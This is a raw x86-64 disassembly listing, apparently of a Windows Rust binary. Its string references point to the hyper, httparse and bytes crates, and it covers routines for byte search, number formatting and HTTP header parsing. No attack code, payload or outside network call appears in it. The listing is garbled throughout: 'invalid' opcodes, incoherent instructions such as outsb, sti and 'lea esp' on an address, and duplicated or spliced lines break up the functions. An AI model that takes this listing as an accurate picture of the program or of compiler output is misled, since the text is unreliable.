jne 0x140032d54
cmp byte [rdi + 0x41], 0
je 0x140032bea
xor eax, eax
jmp 0x140032d54
mov qword [rdi + 0x28], r13
jmp 0x140032d3b
mov qword [rdi + 0x28], r13
test rax, rax
jne 0x140032d69
mov byte [rdi + 0x41], 1
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
sub rdx, rax
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rdi + 0x28], rsi
mov rdx, qword [rdi + 8]
sub rdx, rcx
mov qword [rdi + 8], rsi
mov rax, qword [rsp + 0x20]
add rax, rcx
jmp 0x140032d54
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_strpattern.rs
mov edx, 4
mov rcx, rbx
call fcn.140108620
int3
cmp rax, 0x10
jae 0x140032fb0
cmp rbx, rsi
je 0x1400330cd
xor r10d, r10d
nop
cmp byte [r8 + r10], bpl
je 0x140033063
inc r10
cmp rax, r10
jne 0x140032f90
jmp 0x1400330cd
nop dword [rax + rax]
lea r9, [r8 + 7]
and r9, 0xfffffffffffffff8
sub r9, r8
jne 0x140032fc9
mov r12, r15
lea r10, [rax - 0x10]
xor r9d, r9d
jmp 0x140033000
cmp r9, rax
cmovae r9, rax
xor r10d, r10d
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
cmp byte [r8 + r10], bpl
je 0x140033063
inc r10
cmp r9, r10
jne 0x140032fe0
mov r12, r15
lea r10, [rax - 0x10]
jmp 0x140033039
mov r11, qword [r8 + r9]
xor r11, rdi
or byte [rcx + 0x31], cl
sti
lea r14, [r11 + r13]
not r11
and r11, r14
mov r14, qword [r8 + r9 + 8]
xor r14, rdi
lea r15, [r14 + r13]
not r14
invalid
and r14, r15
or r14, r11
movabs r11, 0x8080808080808080
test r14, r11
jne 0x14003303e
invalid
add r9, 0x10
cmp r9, r10
jbe 0x140033000
sub rax, r9
je 0x1400330cd
mov r15, r12
add r8, r9
xor r10d, r10d
cmp byte [r8 + r10], bpl
je 0x140033060
inc r10
cmp rax, r10
jne 0x140033050
jmp 0x1400330cd
add r10, r9
add rsi, r10
inc rsi
mov qword [rdx + 0x10], rsi
mov r14, rsi
sub r14, qword [rsp + 0x30]
jb 0x1400330b0
cmp rsi, r15
ja 0x1400330b0
mov rax, qword [rsp + 0x38]
add rax, r14
mov qword [rsp + 0x40], rcx
mov rcx, rax
mov r12, r15
mov r15, rdx
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
call fcn.140106bb0
mov rdx, r15
mov r15, r12
mov rcx, qword [rsp + 0x40]
test eax, eax
je 0x1400330e8
mov rax, qword [rsp + 0x38]
lea r8, [rax + rsi]
mov rax, rbx
sub rax, rsi
mov r14d, 0
jae 0x140032f7d
jmp 0x1400330d4
mov qword [rdx + 0x10], rbx
xor r14d, r14d
mov qword [rcx], r14
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rcx + 8], r14
mov qword [rcx + 0x10], rsi
mov r14d, 1
jmp 0x1400330d4
pop rdx
adc byte [rbx + rax], bh
jne 0x140033132
mov rdx, qword [rsi + 0x30]
test rbx, rbx
je 0x140033158
test rdx, rdx
je 0x140033158
mov word [rcx], 0x503
jmp 0x1400331d7
test rbx, rbx
je 0x14003319e
mov rdx, qword [rsi + 0x30]
test rdx, rdx
je 0x140033212
mov r8, qword [rsi + 1]
mov eax, dword [rsi + 1]
mov r9, qword [rsi + 8]
mov qword [rsp + 0x2f], r9
mov qword [rsp + 0x28], r8
jmp 0x140033163
xor eax, eax
test rbx, rbx
je 0x140033220
mov r8, qword [rsi + 0x18]
mov r9, qword [rsi + 0x20]
mov r10, qword [rsi + 0x28]
test rdx, rdx
je 0x14003323c
mov rdi, qword [rsi + 0x38]
mov r14, qword [rsi + 0x40]
mov r15, qword [rsi + 0x48]
movzx r11d, word [rsi + 0x50]
movzx ebp, word [rsi + 0x56]
outsb dx, byte [rsi]
push rsi
outsb dx, byte [rsi]
push rsi
mov word [rsp + 0x24], bp
mov esi, dword [rsi + 0x52]
mov dword [rsp + 0x20], esi
jmp 0x140033253
mov dl, 6
mov byte [rcx + 1], dl
mov byte [rcx], 3
cmp al, 2
jb 0x1400331d2
mov rdi, qword [rsi + 8]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
je 0x1400331e6
lea rcx, [rsi + 0x28]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rbx + 0x10]
mov rax, qword [rsi + 0x30]
test rax, rax
je 0x14003329c
mov rax, qword [rax + 0x10]
lea rcx, [rsi + 0x48]
mov rdx, qword [rsi + 0x38]
mov r8, qword [rsi + 0x40]
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp rax
mov dl, 7
mov byte [rcx + 1], dl
mov byte [rcx], 3
cmp al, 2
jae 0x1400331aa
jmp 0x1400331d2
mov r8d, 1
lea rbx, [0x14012a078]
xor r9d, r9d
xor r10d, r10d
test rdx, rdx
jne 0x140033178
mov r11w, 0xffff
mov edi, 1
lea rdx, [0x14012a078]
xor r14d, r14d
xor r15d, r15d
mov byte [rcx], al
mov rax, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x2f]
mov qword [rcx + 1], rax
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], rbx
mov qword [rcx + 0x18], r8
mov qword [rcx + 0x20], r9
mov qword [rcx + 0x28], r10
mov qword [rcx + 0x30], rdx
mov qword [rcx + 0x38], rdi
mov qword [rcx + 0x40], r14
mov qword [rcx + 0x48], r15
mov word [rcx + 0x50], r11w
mov eax, dword [rsp + 0x20]
mov dword [rcx + 0x52], eax
movzx eax, word [rsp + 0x24]
mov word [rcx + 0x56], ax
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
int3
add byte [rax], al
add byte [rax + 0x14], bh
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
cmp rdx, 0x2710
jb 0x140033947
mov r10d, 0x14
movabs r9, 0x346dc5d63886594b
insd dword [rdi], dx
xor al, 0xf
invalid
add byte [rax], 0
add byte [rax], al
insd dword [rdi], dx
xor al, 0xf
invalid
mov rax, r8
mul r9
shr rdx, 0xb
imul eax, edx, 0x2710
mov r11d, r8d
sub r11d, eax
imul edi, r11d, 0x147b
shr edi, 0x13
imul eax, edi, 0x64
sub r11d, eax
movzx r11d, r11w
lea rax, [r10 - 4]
movzx edi, word [rcx + rdi*2]
mov word [rsp + r10 + 0x4c], di
movzx r11d, word [rcx + r11*2]
mov word [rsp + r10 + 0x4e], r11w
mov r10, rax
cmp r8, 0x5f5e0ff
mov r8, rdx
ja 0x1400338b0
cmp rdx, 0x63
jbe 0x140033935
movzx r8d, dx
shr r8d, 2
imul r8d, r8d, 0x147b
shr r8d, 0x11
imul r9d, r8d, 0x64
sub edx, r9d
movzx edx, dx
movzx edx, word [rcx + rdx*2]
mov word [rsp + rax + 0x4e], dx
add rax, 0xfffffffffffffffe
mov rdx, r8
cmp rdx, 0xa
jae 0x140033952
or dl, 0x30
mov byte [rsp + rax + 0x4f], dl
dec rax
jmp 0x14003395f
mov rdx, r8
cmp rdx, 0x63
ja 0x140033908
jmp 0x140033935
movzx ecx, word [rcx + rdx*2]
mov word [rsp + rax + 0x4e], cx
add rax, 0xfffffffffffffffe
lea rdi, [rax - 0x14]
neg rdi
lea rbx, [rsp + rax]
add rbx, 0x50
cmp rax, 0x14
jne 0x140033981
xor r14d, r14d
mov ecx, 1
xor r15d, r15d
jmp 0x14003399d
lea rcx, [rsp + 0x30]
mov rdx, rdi
call fcn.1400126f0
mov rcx, qword [rsp + 0x30]
mov r15, qword [rsp + 0x38]
mov r14, qword [rsp + 0x40]
add rcx, r15
mov rdx, rbx
mov r8, rdi
call fcn.140106530
add r15, rdi
mov qword [rsp + 0x28], r15
cmp r15, r14
ja 0x140033a96
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x48]
test dil, 1
jne 0x1400339d8
lea rcx, [0x14014fa88]
jmp 0x140033a72
mov r12, qword [rsp + 0x40]
shr rdi, 5
sub rbx, rdi
lea r14, [rdi + r15]
cmp r15, r12
jne 0x140033a07
test r14, r14
je 0x140033a3e
test bl, 1
jne 0x140033a51
mov rax, rbx
or rax, 1
lea rcx, [0x14012a090]
jmp 0x140033a5b
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140033b96
add r12, rdi
mov qword [rax], rbx
mov qword [rax + 8], r12
mov qword [rax + 0x10], 1
lea rcx, [0x140114bd8]
jmp 0x140033a5b
lea rcx, [0x140114ae8]
mov ebx, 1
xor eax, eax
xor r14d, r14d
jmp 0x140033a5b
lea rcx, [0x14012a0a8]
mov rax, rbx
mov qword [rsp + 0x28], rdi
mov r15, r14
sub r15, rdi
jb 0x140033b18
add rbx, rdi
mov rdi, rax
mov qword [rsi], rcx
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], rdi
mov byte [rsi + 0x20], 0
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rax, [rsp + 0x40]
lea rcx, [rsp + 0x28]
mov qword [rsp + 0xa8], rcx
lea rcx, [fcn.140012cc0]
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], rcx
lea rax, [0x1401424a0]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 2
mov qword [rsp + 0x98], 0
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x78]
call fcn.140108560
mov qword [rsp + 0xa8], r14
lea rax, [rsp + 0x28]
mov qword [rsp + 0x50], rax
lea rax, [0x1400e9f80]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0xa8]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 2
mov qword [rsp + 0x98], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x78]
call fcn.140108560
mov ecx, 8
mov edx, 0x18
call fcn.1401082c0
add ah, cl
add ah, cl
int3
mov ebp, dword [rdx]
mov rax, qword [rdx + 8]
movabs r11, 0x7ffffffffffffff
and r11, rax
shl rax, 5
add rax, rbp
mov qword [rsp + 0x70], rax
movzx eax, byte [r9]
mov byte [rsp + 0x57], al
movzx eax, byte [r9 + 1]
add dword [r8 + 0x41472444], ecx
movzx eax, byte [rcx + 4]
add dword [r8 + 0x41472444], ecx
movzx eax, byte [rcx + 4]
mov byte [rsp + 0x2f], al
mov r8, qword [r8]
xor eax, eax
lea r13, [0x14012b150]
lea r12, [0x14012b250]
lea esp, [0x14012b250]
lea esp, [0x14012b250]
xor esi, esi
mov rdi, r8
mov r9, rax
movzx r8d, byte [rdi + r10]
lea rax, [r10 + 1]
mov qword [r14 + 0x10], rax
cmp r8d, 0xa
je 0x1400344cb
cmp r8d, 0xd
je 0x1400344fb
cmp byte [r8 + r13], 0
je 0x140033cf0
cmp al, 0x28
add byte [rdi], cl
test byte [rbx + 0x4c000000], bl
mov dword [rsp + 0x58], ecx
mov qword [rsp + 0x58], r9
mov qword [rsp + 0x68], rbp
mov qword [rsp + 0x60], r11
mov qword [rsp + 0x48], rcx
mov r11, rbx
sub r11, r10
add r11, 0xfffffffffffffffe
add r10, rdi
add r10, 2
nop word [rax + rax]
add byte [rax], r8b
add byte [rax], r8b
cmp rbx, rax
jbe 0x140034499
mov rbp, rax
mov r9, r11
mov r15, r10
movzx r8d, byte [rdi + rax]
inc rax
mov qword [r14 + 0x10], rax
dec r11
inc r10
cmp byte [r8 + r13], 0
sub byte [rax], al
sub byte [rax], al
jne 0x140033c80
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rdx
add qword [rsp + 0x58], rax
lea rsi, [rdi + rax]
sub rbx, rax
mov qword [r14 + 0x10], 0
adc byte [rax], r8b
add byte [rax], al
add byte [rcx - 0x77], cl
mov qword ss:[r14 + 8], rbx
adc byte [rax], r8b
add byte [rax], al
add byte [rcx - 0x77], cl
mov qword ss:[r14 + 8], rbx
cmp r8b, 0x3a
jne 0x140033d40
test rbx, rbx
jne 0x140033dc4
jmp 0x1400344aa
cmp byte [rsp + 0x2f], 0
je 0x1400344bb
nop dword [rax + rax]
test r8b, r8b
je 0x1400344bb
movzx r8d, r8b
cmp r8d, 0xa
je 0x140033f1e
cmp r8d, 0xd
je 0x140033eff
cmp rbx, rax
jbe 0x14003447f
movzx r8d, byte [rdi + rax]
inc rax
mov qword [r14 + 0x10], rax
test r8b, r8b
jne 0x140033d09
jmp 0x1400344bb
cmp byte [rsp + 0x57], 0
je 0x140033f2c
add rax, rdi
xor edx, edx
cmp r8b, 0x20
je 0x140033d64
movzx r10d, r8b
cmp r10d, 9
jne 0x140033f2e
sub r9, 1
jb 0x1400344aa
movzx r8d, byte [rax + rdx]
inc rdx
mov qword [r14 + 0x10], rdx
cmp r8b, 0x3a
jne 0x140033d50
add qword [rsp + 0x58], rdx
add rsi, rdx
sub rbx, rdx
mov qword [r14 + 0x10], 0
mov qword [r14], rsi
mov qword [r14 + 8], rbx
test rbx, rbx
jne 0x140033dc4
jmp 0x1400344aa
add qword [rsp + 0x58], r15
add rsi, r15
mov qword [r14 + 0x10], 0
mov qword [r14], rsi
sub rbx, r15
mov qword [r14 + 8], rbx
je 0x1400344aa
cmp byte [rsp + 0x47], 0
je 0x140033e62
movzx r8d, byte [rsi]
xor eax, eax
nop word cs:[rax + rax]
lea r15, [rax + 1]
mov qword [r14 + 0x10], r15
cmp r8b, 0x20
je 0x140033da4
movzx edx, r8b
cmp edx, 9
je 0x140033da4
cmp byte [rdx + r12], 0
jne 0x14003402b
cmp r8b, 0xa
je 0x140033e40
cmp edx, 0xd
jne 0x140033ea7
cmp rbx, r15
jbe 0x140034527
movzx ecx, byte [rsi + rax + 1]
add rax, 2
mov qword [r14 + 0x10], rax
cmp cl, 0xa
je 0x140033e43
jmp 0x14003453c
mov rax, r15
cmp rax, rbx
jae 0x1400344aa
movzx r8d, byte [rsi + rax]
cmp r8d, 9
je 0x140033de0
cmp r8d, 0x20
je 0x140033de0
jmp 0x140034414
movzx r8d, byte [rsi]
mov qword [r14 + 0x10], 1
mov r15d, 1
cmp r8, 9
je 0x140033da4
cmp r8d, 0x20
je 0x140033da4
cmp byte [r8 + r12], 0
jne 0x14003402b
cmp r8d, 0xa
je 0x1400343e9
cmp r8d, 0xd
je 0x1400343f0
cmp byte [rsp + 0x2f], 0
mov rcx, qword [rsp + 0x48]
mov r11, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
je 0x140034564
test r8b, r8b
je 0x140034564
movzx eax, r8b
cmp eax, 0xa
je 0x140033fdf
cmp eax, 0xd
je 0x140033fc2
cmp rbx, r15
jbe 0x140034533
movzx r8d, byte [rsi + r15]
inc r15
mov qword [r14 + 0x10], r15
test r8b, r8b
jne 0x140033eca
jmp 0x140034564
cmp rbx, rax
jbe 0x14003458e
movzx r8d, byte [rdi + rax]
inc rax
mov qword [r14 + 0x10], rax
cmp r8b, 0xa
jne 0x140034598
add r9, rax
add rdi, rax
ror dword [rax + 1], 0xc7
sub rbx, rax
jmp 0x140033ffa
xor edx, edx
cmp byte [rsp + 0x2f], 0
mov rcx, qword [rsp + 0x48]
mov r11, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
je 0x14003454f
add r15, rdx
test r8b, r8b
je 0x14003454f
invalid
add byte [rax], al
invalid
add eax, 0x66660000
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop word cs:[rax + rax]
movzx eax, r8b
cmp eax, 0xa
je 0x140033f8f
cmp eax, 0xd
je 0x140033f96
cmp rbx, rdx
jbe 0x140034533
movzx r8d, byte [r15]
inc rdx
mov qword [r14 + 0x10], rdx
inc r15
test r8b, r8b
jne 0x140033f60
jmp 0x14003454f
mov r9, qword [rsp + 0x58]
pop rax
jmp 0x140033fb7
cmp rbx, rdx
cmp ebx, edx
mov r9, qword [rsp + 0x58]
jbe 0x1400345c3
movzx eax, byte [rsi + rdx]
inc rdx
inc edx
inc edx
mov qword [r14 + 0x10], rdx
cmp al, 0xa
jne 0x1400345ca
add r9, rdx
add rsi, rdx
sub rbx, rdx
jmp 0x140033fed
cmp rbx, r15
jbe 0x1400345d3
movzx eax, byte [rsi + r15]
inc r15
mov qword [r14 + 0x10], r15
cmp al, 0xa
jne 0x1400345da
sub rbx, r15
add rsi, r15
mov r9, qword [rsp + 0x58]
add r9, r15
mov rdi, rsi
mov rdx, qword [rsp + 0x30]
xor byte [rax - 0x75], cl
je 0x14003401d
invalid
xor byte [rax - 0x75], cl
je 0x14003401d
cmp byte [rcx - 0x39], cl
adc byte [rax], r8b
add byte [rax], al
add byte [rcx - 0x77], cl
mov qword ds:[r14 + 8], rbx
mov qword [r14 + 0x10], 0
mov qword [r14], rdi
mov qword [r14 + 8], rbx
mov r10d, 0
test rbx, rbx
jne 0x140033c29
jmp 0x14003447f
call fcn.140110f30
jmp 0x140034054
call fcn.140110f30
jmp 0x140034087
mov rax, qword [0x1401821a0]
test rax, rax
jne 0x1400340a3
mov rcx, qword [0x1401822d8]
adc al, 0
test rcx, rcx
je 0x14003406e
mov rax, qword [0x1401822d8]
test cx, cx
js 0x140034082
test rax, rax
je 0x14003401d
and eax, 0x800
cmp rax, 1
mov ecx, 0
sbb rcx, rcx
or rcx, 1
shr eax, 0xb
jmp 0x14003409c
call fcn.140110f30
mov rcx, rax
mov rax, qword [0x1401822d8]
test cx, cx
jns 0x14003404f
test rax, rax
je 0x140034024
and eax, 0x800
cmp rax, 1
mov ecx, 3
sbb rcx, 0
mov rax, rcx
mov qword [0x1401821a0], rcx
cmp rax, 3
je 0x140034130
cmp rax, 2
je 0x140034100
cmp rax, 1
jne 0x140034190
nop dword [rax]
add byte [rax - 0x77], cl
fmul dword [rcx + rbp - 8]
mov rax, rbx
sub rax, r15
jb 0x140034600
cmp rax, 0x10
jb 0x140034190
lea rcx, [rsi + r15]
call fcn.140034620
add r15, rax
mov qword [r14 + 0x10], r15
cmp rax, 0x10
je 0x1400340c0
jmp 0x140034190
mov rax, rbx
sub rax, r15
sub eax, edi
sub eax, edi
jb 0x140034600
cmp rax, 0x20
jb 0x140034190
invalid
add byte [rdx - 0x73], cl
or al, 0x3e
lea rcx, [rsi + r15]
call fcn.140034670
add r15, rax
mov qword [r14 + 0x10], r15
cmp rax, 0x20
je 0x140034100
jmp 0x140034190
mov rax, rbx
sub rax, r15
jb 0x140034600
cmp rax, 0x20
jb case.0x140018f24.1433
lea rcx, [rsi + r15]
call fcn.140034670
add r15, rax
mov qword [r14 + 0x10], r15
cmp rax, 0x20
je 0x140034130
jmp 0x140034190
mov rax, rbx
sub rax, r15
jb 0x140034600
cmp rax, 0x10
jb 0x140034190
lea rcx, [rsi + r15]
call fcn.140034620
add r15, rax
mov qword [r14 + 0x10], r15
cmp rax, 0x10
je case.0x140018f24.1433
nop dword [rax + rax]
mov rcx, r15
sub rcx, 0xfffffffffffffff8
jae 0x140034250
cmp rcx, rbx
ja 0x140034250
mov rax, qword [rsi + r15]
add al, 0x3e
movzx edx, al
cmp byte [rdx + r12], 0
je 0x140034272
mov rdx, rax
shr rdx, 8
movzx r8d, dl
cmp byte [r8 + r12], 0
je 0x14003427a
mov rdx, rax
shr rdx, 0x10
movzx r8d, dl
cmp byte [r8 + r12], 0
je 0x140034280
mov rdx, rax
shr rdx, 0x18
movzx r8d, dl
cmp byte [r8 + r12], 0
je 0x140034286
mov rdx, rax
shr rdx, 0x20
movzx r8d, dl
cmp byte [r8 + r12], 0
je 0x14003428c
mov rdx, rax
shr rdx, 0x28
movzx r8d, dl
cmp byte [r8 + r12], 0
je 0x140034292
mov rdx, rax
shr rdx, 0x30
movzx r8d, dl
cmp byte [r8 + r12], 0
je 0x140034298
shr rax, 0x38
cmp byte [rax + r12], 0
je 0x1400342a2
mov qword [r14 + 0x10], rcx
mov r15, rcx
jmp 0x140034190
cmp rbx, r15
jbe 0x1400344aa
movzx eax, byte [rsi + r15]
inc r15
mov qword [r14 + 0x10], r15
cmp byte [rax + r12], 0
jne 0x140034190
jmp 0x1400342a9
inc r15
mov rcx, r15
jmp 0x1400342a2
add r15, 2
jmp 0x14003429c
add r15, 3
jmp 0x14003429c
add r15, 4
jmp 0x14003429c
add r15, 5
jmp 0x14003429c
add r15, 6
jmp 0x14003429c
add r15, 7
mov rcx, r15
mov rax, rdx
mov qword [r14 + 0x10], rcx
mov r15, rcx
mov rdx, 0xffffffffffffffff
cmp al, 0xa
je 0x1400342e0
movzx ecx, al
cmp ecx, 0xd
jne 0x14003430d
cmp rbx, r15
jbe 0x140034527
movzx eax, byte [rsi + r15]
inc r15
mov qword [r14 + 0x10], r15
mov rdx, 0xfffffffffffffffe
cmp al, 0xa
jne 0x14003453c
cmp byte [rsp + 0x47], 0
je 0x140034380
cmp rbx, r15
jbe 0x1400344aa
movzx eax, byte [rsi + r15]
cmp eax, 9
je 0x14003402b
cmp eax, 0x20
je 0x14003402b
jmp 0x140034380
cmp byte [rsp + 0x2f], 0
mov rcx, qword [rsp + 0x48]
mov r11, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
je 0x140034564
test al, al
je 0x140034564
movzx eax, al
cmp eax, 0xa
je 0x140033fdf
cmp eax, 0xd
je 0x14003435e
cmp rbx, r15
jbe 0x140034533
movzx eax, byte [rsi + r15]
inc r15
mov qword [r14 + 0x10], r15
test al, al
jne 0x14003432f
jmp 0x140034564
cmp rbx, r15
jbe 0x140034527
movzx eax, byte [rsi + r15]
inc r15
mov qword [r14 + 0x10], r15
cmp al, 0xa
je 0x140033fdf
jmp 0x1400345f2
lea r8, [rsi + r15]
sub rbx, r15
mov qword [r14 + 0x10], 0
mov qword [r14], r8
mov qword [r14 + 8], rbx
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x68], rax
je 0x1400345a6
add rdx, r15
je 0x1400343d3
mov rcx, rdx
movzx eax, byte [rsi + rcx - 1]
cmp rax, 0x20
ja 0x1400343d8
movabs r9, 0x100002600
bt r9, rax
jae 0x1400343d8
dec rcx
jne 0x1400343ae
mov rax, r15
jmp 0x14003443c
mov rax, r15
jmp 0x14003443a
cmp rcx, rdx
ja 0x140034612
mov rax, r15
mov rdx, rcx
jmp 0x14003443c
mov eax, 1
jmp 0x140034414
cmp rbx, 2
jb 0x140034527
movzx ecx, byte [rsi + 1]
mov qword [r14 + 0x10], 2
mov eax, 2
cmp cl, 0xa
jne 0x14003453c
lea r8, [rsi + rax]
sub rbx, rax
mov qword [r14 + 0x10], 0
mov qword [r14], r8
mov qword [r14 + 8], rbx
mov rcx, qword [rsp + 0x70]
cmp qword [rsp + 0x68], rcx
je 0x1400345a6
xor edx, edx
add rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
mov qword [rcx], rdi
mov qword [rcx + 8], rbp
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], rdx
lea rbp, [rcx + 0x20]
mov rsi, qword [rsp + 0x38]
inc rsi
mov r10d, 0
test rbx, rbx
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
mov r11, qword [rsp + 0x60]
jne 0x140033c23
mov qword [rcx], 1
jmp 0x140034579
mov rax, qword [rsp + 0x48]
mov qword [rax], 1
jmp 0x140034579
mov rax, qword [rsp + 0x48]
mov qword [rax], 1
jmp 0x14003456f
mov byte [rcx + 8], 0
mov qword [rcx], 2
jmp 0x140034579
add rax, r9
mov r9, rax
shr r9, 8
xor r8d, r8d
mov r10d, eax
mov qword [rcx], r8
mov byte [rcx + 8], r10b
mov dword [rcx + 9], r9d
mov rax, r9
shr rax, 0x30
mov byte [rcx + 0xf], al
shr r9, 0x20
mov word [rcx + 0xd], r9w
jmp 0x140034579
mov r8d, 1
cmp rbx, rax
jbe 0x14003455f
movzx eax, byte [rdi + r10 + 1]
add r10, 2
mov qword [r14 + 0x10], r10
cmp al, 0xa
jne 0x140034555
add r10, r9
mov r9, r10
shr r9, 8
xor r8d, r8d
jmp 0x1400344db
mov eax, 1
mov rcx, qword [rsp + 0x48]
jmp 0x14003454a
mov qword [rcx], 1
jmp 0x14003456f
mov rcx, qword [rsp + 0x48]
mov byte [rcx + 8], 1
mov eax, 2
mov qword [rcx], rax
jmp 0x14003456f
mov byte [rcx + 8], 0
jmp 0x140034568
mov byte [rcx + 8], 2
mov r8d, 2
mov qword [rcx], r8
jmp 0x140034579
mov byte [rcx + 8], 1
mov qword [rcx], 2
mov rdx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov qword [rdx + 8], rsi
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov eax, 1
mov qword [rcx], rax
jmp 0x140034579
mov byte [rcx + 8], 0
mov eax, 2
mov qword [rcx], rax
jmp 0x140034579
mov r8d, 2
mov r10b, 5
mov rsi, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
jmp 0x1400344db
mov eax, 1
jmp 0x14003454a
mov byte [rcx + 8], 0
jmp 0x140034545
mov eax, 1
jmp 0x1400345e3
mov byte [rcx + 8], 1
mov eax, 2
mov rdx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov qword [rcx], rax
jmp 0x140034579
mov byte [rcx + 8], 1
mov eax, 2
jmp 0x14003452c
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttparse_1.8.0_srciter.rs
mov rcx, r15
mov rdx, rbx
call fcn.1401085a0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttparse_1.8.0_srclib.rs
call fcn.140108620
int3
or al, byte [rax]
test rax, rax
je 0x140034a07
mov r15, rax
mov qword [rax], 0
mov qword [rax + 0x28], 0
movzx eax, byte [0x140182310]
mov edx, 0x10
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140034a18
mov r12, rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x60
xor ecx, ecx
call fcn.1400df910
test rax, rax
test eax, eax
test eax, eax
je 0x140034a27
mov r14, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r15
mov qword [rax + 0x20], r12
mov qword [rax + 0x28], r12
mov qword [rax + 0x30], 0
movabs rax, 0x8000000000000000
mov qword [r14 + 0x38], rax
mov qword [r14 + 0x40], 1
mov qword [r14 + 0x48], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [r14 + 0x58], 0
lock inc qword [r14]
jle 0x140034a16
movzx eax, byte [0x140182310]
mov edx, 0x30
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140034a07
mov r15, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov word [rax + 0x10], 0
adc byte [rax], al
add byte [rax - 0x39], cl
sbb byte [rax], al
add byte [rax], al
add dh, al
sub byte [rax], al
adc byte [rax], al
add byte [rax - 0x39], cl
sbb byte [rax], al
add byte [rax], al
add dh, al
sub byte [rax], al
movzx eax, byte [0x140182310]
mov edx, 0xb0
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140034a36
mov r12, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 3
mov byte [rax + 0x70], 0
mov qword [rax + 0x78], 0
mov byte [rax + 0x88], 0
mov qword [rax + 0x90], 0
mov byte [rax + 0xa0], 0
mov byte [rax + 0xa8], 0
lock inc qword [rax]
jle 0x140034a16
movzx eax, byte [0x140182310]
mov edx, 0x30
xor ecx, ecx
call fcn.1400df910
test bl, bl
je 0x140034994
test rax, rax
je 0x140034a07
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 1
jmp 0x1400349b0
test rax, rax
je 0x140034a07
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 2
mov qword [rax + 0x18], 0
mov qword [rax + 0x28], 0
lock inc qword [rax]
jle 0x140034a16
mov qword [rsi], r12
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], r15
mov byte [rsi + 0x20], 0
mov qword [rsi + 0x28], 1
mov qword [rsi + 0x30], rdi
mov qword [rsi + 0x38], r14
mov qword [rsi + 0x40], rax
mov qword [rsi + 0x48], r12
mov qword [rsi + 0x50], 0
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
